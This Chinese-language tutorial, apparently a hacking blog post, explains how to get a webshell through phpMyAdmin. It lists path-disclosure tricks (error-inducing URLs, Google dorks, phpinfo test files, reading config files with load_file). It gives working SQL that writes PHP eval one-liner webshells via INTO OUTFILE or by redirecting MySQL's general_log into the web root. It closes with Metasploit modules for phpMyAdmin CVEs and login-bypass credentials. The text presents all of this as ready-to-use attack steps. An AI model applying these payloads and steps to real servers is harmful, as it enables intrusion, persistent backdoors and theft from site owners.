phpmyadmin Getshell 思路
前几天遇到一个phpmyadmin,可惜在网上也没找到绝对路径,也就没办法上传木马getshell,这里梳理一下phpmyadmin getshell思路。
这里getshell必须要知道网站的绝对路径,这也是信息收集的重要部分
前提:php爆绝对路径
单引号爆路径
直接在URL后面加单引号,要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。
www.xxx.com/news.php?id=1′
错误参数值爆路径
将要提交的参数值改成错误值,比如-1。-99999单引号被过滤时不妨试试。
www.xxx.com/researcharchive.php?id=-1
google爆路径
结合关键字和site语法搜索出错页面的网页快照,常见关键字有warning和fatal error。注意,如果目标站点是二级域名,site接的是其对应的顶级域名,这样得到的信息要多得多。
Site:xxx.edu.tw warning
Site:xxx.com.tw “fatal error”
测试文件爆路径
很多网站的根目录下都存在测试文件,脚本代码通常都是phpinfo()。
www.xxx.com/test.php
www.xxx.com/ceshi.php
www.xxx.com/info.php
www.xxx.com/phpinfo.php
www.xxx.com/php_info.php
www.xxx.com/1.php
phpmyadmin爆路径
/phpmyadmin/libraries/lect_lang.lib.php
/phpMyAdmin/index.php?lang[]=1
/phpMyAdmin/phpinfo.php
load_file()
/phpmyadmin/themes/darkblue_orange/layout.inc.php
/phpmyadmin/libraries/select_lang.lib.php
/phpmyadmin/libraries/lect_lang.lib.php
/phpmyadmin/libraries/mcrypt.lib.php
配置文件找路径
如果注入点有文件读取权限,就可以手工load_file或工具读取配置文件,再从中寻找路径信息(一般在文件末尾)。各平台下Web服务器和PHP的配置文件默认路径可以上网查,这里列举常见的几个。
Windows:
c:\windows\php.ini php配置文件
c:\windows\system32\inetsrv\MetaBase.xml IIS虚拟主机配置文件
Linux:
/etc/php.ini php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf 虚拟目录配置文件
nginx 文件类型错误解析爆路径
说明:
要求Web服务器是nginx,且存在文件类型解析漏洞。有时在图片地址后加/x.php,该图片不但会被当作php文件执行,有可能爆出物理路径www.xxx.com/xx.jpg/x.php
信息收集
通过SQL查询信息
select version(); -- 查看数据库版本
select @@datadir; select @@basedir; -- 查看数据库存储路径
show VARIABLES like '%char%'; -- 查看系统变量
Getshell
前提条件:
网站真实路径。如果不知道网站真实路径则后续无法通过URL的方式连shell
读写权限。查询secure_file_priv参数(select @@secure_file_priv ),查看是否具有读写权限,若为NULL则无法写入shell。这个值是只读变量,只能通过配置文件修改,且更改后需重启服务才生效。
-- secure_file_priv=NULL,禁止导入导出
-- secure_file_priv='',不限制导入导出
-- secure_file_priv=/path/,只能向指定目录导入导出
select load_file('c:/phpinfo.php'); -- 读取文件
select '123' into outfile 'c:/shell.php'; -- 写入文件
常规GetShell
直接通过SQL查询写入shell
设绝对路径为C:\phpStudy\WWW
select '<?php eval($_POST["pwd"]);?>' into outfile 'C:/phpStudy/WWW/shell.php';
通过日志文件写shell
MySQL5.0版本以上会创建日志文件,通过修改日志的全局变量打开日志并指定日志保存路径,再通过查询写入一句话木马,此时该木马会被日志记录并生成日志文件,从而GetShell。但是前提是要对生成的日志文件有读写权限。
检测全局变量(general_log, general_log file)
1.general log 指的是日志保存状态,一共有两个值(ON/OFF)
2.general log file 指的是日志的保存路径。
开启与关闭:
set global general_log = "ON"; -- 打开日志保存
set global general_log_file = "G:/phpstudy/WWW/log.php"; -- 设置日志保存路径,需先得知网站物理路径,否则即使写入了Shell也无法通过URL连接。
上传shell:
创建新表getshell
进入一个数据库,新建数据表。
名字随意,这里为shell_table
字段数填1
添加字段
字段名任意,这里为xiaoma
字段类型为TEXT
插入一句话木马:
<?php eval($_POST[pwd]); ?>
SQL查询验证木马是否上传成功
设绝对路径为: G:\phpStudy\WWW
以上步骤也可通过SQL语句执行
Create TABLE shell_table (xiaoma text NOT NULL) -- 建表
Insert INTO shell_table (xiaoma) VALUES('<?php eval($_POST[1]);?>'); -- 写入
select * from shell_table into outfile 'G:/phpstudy/WWW/shell.php'; -- 导出
Drop TABLE IF EXISTS shell_table; -- 删表
CVE
CVE-2013-3238
影响版本:3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3 ANYUN.ORG
利用模块:exploit/multi/http/phpmyadminpregreplace
CVE-2012-5159
影响版本:phpMyAdmin v3.5.2.2
利用模块:exploit/multi/http/phpmyadmin3522_backdoor
CVE-2009-1151
PhpMyAdmin配置文件/config/config.inc.php存在命令执行
影响版本:2.11.x < 2.11.9.5 and 3.x < 3.1.3.1
利用模块:exploit/unix/webapp/phpmyadmin_config
弱口令&万能密码
弱口令:版本phpmyadmin2.11.9.2, 直接root用户登陆,无需密码
万能密码:版本2.11.3 / 2.11.4,用户名:‘localhost’@’@” 密码任意